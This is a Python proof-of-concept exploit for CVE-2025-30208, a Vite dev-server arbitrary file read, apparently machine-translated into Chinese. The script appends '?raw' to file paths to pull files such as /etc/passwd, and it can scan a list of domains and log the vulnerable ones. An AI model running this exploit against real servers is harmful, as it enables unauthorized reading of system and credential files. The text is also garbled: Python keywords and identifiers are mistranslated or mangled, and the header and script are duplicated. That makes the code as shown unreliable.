#利用标题: Vite任意文件阅读-CVE-2025-30208
#日期: 2025-04-03
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商HomePage3360 https://vitejs.dev/
#软件link: https://github.com/vitejs/vite
#版本:=6.2.2,=6.1.1,=6.0.11,=5.4.14,=4.5.9
#在: Ubuntu上测试
#参考: https://nvd.nist.gov/vuln/detail/cve-2025-30208
#https://github.com/advisories/ghsa-x574-m823-4x7w
#CVE : CVE-2025-30208
'''
############################
# 描述#
############################
Vite是前端开发工具的提供商,在6.2.3、6.1.2、6.0.12、5.4.15和4.5.10之前的版本脆弱。
'''
导入请求
导入argparse
导入urllib3
从Colorama进口,风格
#禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
def check_vulnerability(target,file_path,verbose=false,output=none):
url=f'{target} {file_path}?raw'
print(f'{fore.cyan} [*] testing: {url} {style.reset_all}')
TRY:
响应=requests.get(url,超时=5,verify=false)#忽略SSL验证
如果wists.status_code==200 and wendess.text:
vuln_message=f'{fore.green} [+]脆弱的: {url} {style.reset_all}'
打印(vuln_message)
如果有词:
打印(f'\ n {fore.yellow} ---文件内容启动--- {style.Reset_all}')
print(wendys.text [:500])#打印首批500个字符以确保安全
print(f'{fore.yellow} ---文件内容end --- {style.Reset_all} \ n')
如果输出:
以F:为开放(输出,'a')
f.write(f'{url} \ n')
其他:
print(f'{fore.red} [ - ]不脆弱或文件不存在: {url} {style.reset_all}')
除了requests.exceptions.requestexception为e:
print(f'{fore.yellow} [!]错误测试{url} : {e} {style.reset_all}')
def check_multiple_domains(file_path,file_to_read,冗长,输出):
TRY:
用file:打开(file_to_read,'r')
domains=file.readlines()
用于域中的域:
域=domain.Strip()
如果域:
check_vulnerability(域,file_path,冗长,输出)
除了FilenotFoundError:
print(f'{fore.red} [!] error:文件'{file_to_read}'不存在。{style.reset_all}')
如果name=='__ -Main __':
parser=argparse.argumentparser(description='poc for cve-2025-30208-vite任意文件读取')
parser.add_argument('target',nargs='?',help='target url(例如3http://localhost:5173)')
parser.add_argument(' - l',' - list',help='包含域列表'的文件)
parser.add_argument(' - f',' - file',默认='/etc/passwd',help='read的文件路径(default3:/etc/passwd)')
parser.add_argument(' - v',' - verbose',action='store_true',help='show file content如果脆弱')
parser.add_argument(' - o',' - 输出',help='输出文件以保存脆弱的URL')
args=parser.parse_args()
如果args.list:
check_multiple_domains(args.file,args.list,args.verbose,args.Output)
elif args.target:
check_vulnerability(args.target,args.file,derbose=args.verbose,output=args.output)
其他:
print(f'{fore.red}请提供目标网址或域列表文件。{style.Reset_all}')
#日期: 2025-04-03
#剥削作者: Sheikh Mohammad Hasan(https://github.com/4M3RR0R)
#供应商HomePage3360 https://vitejs.dev/
#软件link: https://github.com/vitejs/vite
#版本:=6.2.2,=6.1.1,=6.0.11,=5.4.14,=4.5.9
#在: Ubuntu上测试
#参考: https://nvd.nist.gov/vuln/detail/cve-2025-30208
#https://github.com/advisories/ghsa-x574-m823-4x7w
#CVE : CVE-2025-30208
'''
############################
# 描述#
############################
Vite是前端开发工具的提供商,在6.2.3、6.1.2、6.0.12、5.4.15和4.5.10之前的版本脆弱。
@fs
拒绝访问Vite服务允许列表之外的文件。添加`?raw ?'or
?之所以存在旁路,是因为在几个地方删除了诸如`?'之类的尾随分离器,但在查询字符串式式以下方面没有考虑。任意文件的内容可以返回到浏览器。只有将Vite Dev Server曝光到网络的应用程序(使用
- host'或server.host
config option)受到影响。版本6.2.3、6.1.2、6.0.12、5.4.15和4.5.10修复了问题。'''
导入请求
导入argparse
导入urllib3
从Colorama进口,风格
#禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
def check_vulnerability(target,file_path,verbose=false,output=none):
url=f'{target} {file_path}?raw'
print(f'{fore.cyan} [*] testing: {url} {style.reset_all}')
TRY:
响应=requests.get(url,超时=5,verify=false)#忽略SSL验证
如果wists.status_code==200 and wendess.text:
vuln_message=f'{fore.green} [+]脆弱的: {url} {style.reset_all}'
打印(vuln_message)
如果有词:
打印(f'\ n {fore.yellow} ---文件内容启动--- {style.Reset_all}')
print(wendys.text [:500])#打印首批500个字符以确保安全
print(f'{fore.yellow} ---文件内容end --- {style.Reset_all} \ n')
如果输出:
以F:为开放(输出,'a')
f.write(f'{url} \ n')
其他:
print(f'{fore.red} [ - ]不脆弱或文件不存在: {url} {style.reset_all}')
除了requests.exceptions.requestexception为e:
print(f'{fore.yellow} [!]错误测试{url} : {e} {style.reset_all}')
def check_multiple_domains(file_path,file_to_read,冗长,输出):
TRY:
用file:打开(file_to_read,'r')
domains=file.readlines()
用于域中的域:
域=domain.Strip()
如果域:
check_vulnerability(域,file_path,冗长,输出)
除了FilenotFoundError:
print(f'{fore.red} [!] error:文件'{file_to_read}'不存在。{style.reset_all}')
如果name=='__ -Main __':
parser=argparse.argumentparser(description='poc for cve-2025-30208-vite任意文件读取')
parser.add_argument('target',nargs='?',help='target url(例如3http://localhost:5173)')
parser.add_argument(' - l',' - list',help='包含域列表'的文件)
parser.add_argument(' - f',' - file',默认='/etc/passwd',help='read的文件路径(default3:/etc/passwd)')
parser.add_argument(' - v',' - verbose',action='store_true',help='show file content如果脆弱')
parser.add_argument(' - o',' - 输出',help='输出文件以保存脆弱的URL')
args=parser.parse_args()
如果args.list:
check_multiple_domains(args.file,args.list,args.verbose,args.Output)
elif args.target:
check_vulnerability(args.target,args.file,derbose=args.verbose,output=args.output)
其他:
print(f'{fore.red}请提供目标网址或域列表文件。{style.Reset_all}')